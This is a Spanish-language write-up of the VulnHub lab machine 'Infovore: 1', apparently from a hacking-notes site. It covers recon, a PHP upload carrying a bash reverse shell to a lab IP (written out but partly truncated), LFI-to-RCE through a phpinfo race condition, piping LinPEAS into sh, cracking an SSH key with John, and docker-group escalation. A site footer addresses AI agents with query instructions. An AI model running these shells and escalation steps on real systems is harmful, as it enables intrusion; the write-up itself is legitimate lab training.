> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).
# Infovore: 1 Análisis de VulnHub
{% embed url="" %}
{% hint style="warning" %}
Habilidades:
* Enumeración web
* LFI (Inclusión de archivos locales)
* Abusar de file/\_uploads visible en info.php (LFI2RCE mediante phpinfo() + condición de carrera)
* Enumeración del sistema (Linpeas)
* Crackeo de clave privada SSH protegida
* Abusar de la confianza en el par de claves SSH para escapar del contenedor
* Abusar del grupo docker (Escalada de privilegios)
{% endhint %}
## Reconocimiento
#### **Configuración del espacio de trabajo:**
Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.
#### **Descubrimiento de la dirección IP con arp-scan:**
Usando el comando arp-scan para detectar la dirección IP de la máquina:
```bash
arp-scan -I ens33 --localnet --ignoredups
```
#### **Descubrimiento de puertos abiertos con Nmap:**
Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```
#### **Escaneo de versión de puertos con Nmap:**
Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":
```bash
nmap -sCV -p80 192.168.71.146 -oN targeted
```
#### Escaneo del servidor con Wappalyzer:
Usando Wappalyzer para determinar que el servidor utiliza Apache y el lenguaje de programación PHP.
#### **Identifica la versión objetivo con WhatWeb**
Usando WhatWeb para escanear el sitio web e identificar la versión de la máquina (Ubuntu) y Apache:
```bash
whatweb http://192.168.71.146
```
## Reconocimiento de `info.php`
**Buscar directorios con Gobuster:**
Utilice **Gobuster** con un diccionario para encontrar archivos de acceso ocultos.
```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```
Se localizó un archivo llamado **info.php** que incluye toda la configuración PHP del servidor.
Se puede observar que no hay ninguna función desactivada.
## Vulnerabilidad de subida de archivos:
Después de localizar el archivo `info.php` explora la posibilidad de subir archivos al servidor.
**Interceptar con Burp Suite:**
Usa Burp Suite para interceptar la solicitud. Cambia el método de "GET" a "POST".
#### Solicitud para importar un archivo de texto al servidor:
Usa la siguiente solicitud de Burp Suite para subir un archivo llamado `test.txt`:
```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
Esto es una prueba
----pwned
```
**Inyección de código PHP:**
Intenta inyectar código PHP usando la misma estructura de Burp Suite. Cambia el contenido del archivo a inyectar.
```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```
#### Confirmación de la inyección:
Comprueba si la inyección fue exitosa confirmando la presencia del archivo "cmd.php" en el servidor.
#### Búsqueda de LFI
Para encontrar una vulnerabilidad LFI, usamos la herramienta wfuz para identificar un posible parámetro que redirija a un archivo PHP. El comando es el siguiente:
```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```
#### Dificultad con el cambio constante de archivo:
Desafortunadamente, no podemos listar el contenido del archivo cmd.php debido al cambio constante de la carpeta temporal:
## Vulnerabilidad de condición de carrera:
Usa un [script automatizado](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) para explotar la condición de carrera en el proceso.
#### Adaptación del script
Adaptamos el script a nuestra situación particular.
#### Acceso exitoso a la máquina:
Logramos obtener acceso a la máquina aprovechando la condición de carrera.
#### Estabilización de la terminal para la escalada de privilegios:
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
## Escalada de privilegios:
Observamos que estamos en un contenedor y usamos el comando para encontrar la dirección del contenedor real (192.168.150.1). Luego comprobamos si el puerto 22 está abierto en esta máquina.
```bash
echo '' > /dev/tcp/192.168.150.1/22
```
### **Enumeración del sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**
Usamos LinPEAS para el reconocimiento de privilegios:
```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```
#### Encontramos una carpeta tgz inesperada en el directorio raíz.
```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```
### /*/* Crackeo de clave SSH privada protegida:/*/*
#### Identificación de clave SSH privada
Identificamos un par de claves SSH pública y privada de OpenSSH.
#### Crackeo de la clave privada:
* Observamos que la clave privada está cifrada
* Usamos **ssh2john.py** para convertir el contenido del archivo en un hash:
```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```
* Luego usamos John the Ripper para romper el hash con una lista de contraseñas.
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
#### Acceso como root:
Obtenemos acceso a la máquina como root.
### **Abusar de la confianza en el par de claves SSH para escapar del contenedor:**
Intentamos migrar a otra máquina usando la configuración known\_hosts en el directorio ssh del contenedor, lo que nos permite conectarnos al usuario admin en la máquina host.
### **Abuso del grupo Docker (Escalada de privilegios):**
#### [docker](/es/privesc/user-groups/docker-group-linux-privilege-escalation.md) Pertenencia al grupo:
Observamos que formamos parte del grupo docker.
#### Uso del grupo docker para superar privilegios:
Aprovechamos nuestra pertenencia al grupo docker para montar la máquina real en un contenedor con privilegios de administrador:
```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```
COMPROMETIDO :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.